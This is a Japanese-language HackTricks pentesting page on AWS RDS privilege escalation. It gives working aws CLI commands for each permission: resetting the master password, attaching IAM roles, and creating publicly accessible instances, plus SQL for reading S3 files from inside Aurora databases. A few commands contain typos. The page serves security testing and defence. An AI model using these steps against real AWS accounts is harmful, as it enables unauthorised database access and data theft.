AWS - RDS Privesc

Support HackTricks

RDS - リレーショナルデータベースサービス

RDSに関する詳細情報は以下を確認してください:

rds:ModifyDBInstance

その権限を持つ攻撃者はマスターユーザーのパスワードを変更し、データベース内のログインを行うことができます:

# Get the DB username, db name and address
aws rds describe-db-instances

# Modify the password and wait a couple of minutes
aws rds modify-db-instance \
--db-instance-identifier <db-id> \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# In case of postgres
psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>

データベースに接続する必要があります(通常、内部ネットワークからのみアクセス可能です)。

潜在的な影響: データベース内の機密情報を見つけることができます。

rds-db:connect

ドキュメントによると、この権限を持つユーザーはDBインスタンスに接続できます。

RDSロールIAM権限の悪用

Postgresql (Aurora)

SELECT datname FROM pg_database; を実行すると、rdsadmin というデータベースが見つかる場合、AWS postgresqlデータベース内にいることがわかります。

まず、このデータベースが他のAWSサービスにアクセスするために使用されているかどうかを確認できます。インストールされている拡張機能を見て確認できます:

SELECT * FROM pg_extension;

もし**aws_s3のようなものを見つけた場合、このデータベースはS3に対する何らかのアクセス権を持っていると考えることができます(aws_mlaws_lambda**などの他の拡張子もあります)。

また、aws rds describe-db-clustersを実行する権限がある場合、AssociatedRolesフィールドでクラスターに関連付けられたIAMロールがあるかどうかを確認できます。もしあれば、そのデータベースは他のAWSサービスにアクセスするために準備されていると考えることができます。ロールの名前(またはロールの権限を取得できる場合)に基づいて、データベースがどのような追加アクセスを持っているかを推測することができます。

さて、バケット内のファイルを読むためには、フルパスを知っている必要があります。次のようにして読むことができます:

// Create table
CREATE TABLE ttemp (col TEXT);

// Create s3 uri
SELECT aws_commons.create_s3_uri(
'test1234567890678', // Name of the bucket
'data.csv',          // Name of the file
'eu-west-1'          //region of the bucket
) AS s3_uri \gset

// Load file contents in table
SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri');

// Get info
SELECT * from ttemp;

// Delete table
DROP TABLE ttemp;

もし生のAWS認証情報を持っていれば、次のコマンドを使用してS3データにアクセスすることもできます:

SELECT aws_s3.table_import_from_s3(
't', '', '(format csv)',
:'s3_uri',
aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
);

Postgresql は S3 にアクセスするためにパラメータグループの変数を変更する必要はありません

Mysql (Aurora)

mysql 内で SELECT User, Host FROM mysql.user; クエリを実行し、rdsadmin というユーザーが存在する場合、あなたは AWS RDS mysql db 内にいると考えることができます。

mysql 内で show variables; を実行し、aws_default_s3_roleaurora_load_from_s3_roleaurora_select_into_s3_role などの変数に値がある場合、データベースは S3 データにアクセスする準備ができていると考えられます。

また、aws rds describe-db-clusters を実行する権限がある場合、クラスターに 関連するロール があるかどうかを確認できます。これは通常、AWS サービスへのアクセスを意味します。

さて、バケット内のファイルを読むためには、フルパスを知っている必要があります。次のようにして読むことができます:

CREATE TABLE ttemp (col TEXT);
LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
SELECT * FROM ttemp;
DROP TABLE ttemp;

rds:AddRoleToDBCluster, iam:PassRole

rds:AddRoleToDBCluster および iam:PassRole の権限を持つ攻撃者は、既存の RDS インスタンスに指定されたロールを追加することができます。これにより、攻撃者は 機密データにアクセスしたり、インスタンス内のデータを変更したりすることが可能になります。

aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>

潜在的影響: RDSインスタンス内の機密データへのアクセスまたはデータの不正な変更。 一部のDBは、Mysqlのように、パラメータグループでロールARNを指定する必要があるなど、追加の設定が必要であることに注意してください。

rds:CreateDBInstance

この権限だけで、攻撃者は既存のクラスター内に新しいインスタンスを作成でき、IAMロールが付与されている場合があります。マスターユーザーパスワードを変更することはできませんが、新しいデータベースインスタンスをインターネットに公開できる可能性があります。

aws --region eu-west-1 --profile none-priv rds create-db-instance \
--db-instance-identifier mydbinstance2 \
--db-instance-class db.t3.medium \
--engine aurora-postgresql \
--db-cluster-identifier database-1 \
--db-security-groups "string" \
--publicly-accessible

rds:CreateDBInstance, iam:PassRole

TODO: テスト

rds:CreateDBInstanceiam:PassRole の権限を持つ攻撃者は、指定されたロールを添付した新しい RDS インスタンスを作成することができます。攻撃者はその後、機密データにアクセスしたり、インスタンス内のデータを変更したりする可能性があります

添付するロール/インスタンスプロファイルのいくつかの要件(こちらから):

  • プロファイルはあなたのアカウントに存在する必要があります。

  • プロファイルは、Amazon EC2 が引き受ける権限を持つ IAM ロールを持っている必要があります。

  • インスタンスプロファイル名と関連する IAM ロール名は、プレフィックス AWSRDSCustom で始まる必要があります。

aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole

潜在的な影響: RDSインスタンス内の機密データへのアクセスまたはデータの不正な変更。

rds:AddRoleToDBInstance, iam:PassRole

rds:AddRoleToDBInstanceおよびiam:PassRoleの権限を持つ攻撃者は、既存のRDSインスタンスに指定されたロールを追加することができます。これにより、攻撃者は機密データにアクセスしたり、インスタンス内のデータを変更したりすることが可能になります。

DBインスタンスは、これのためにクラスターの外にある必要があります

aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>

潜在的影響: RDSインスタンス内の機密データへのアクセスまたはデータの不正な変更。

HackTricksをサポートする

Last updated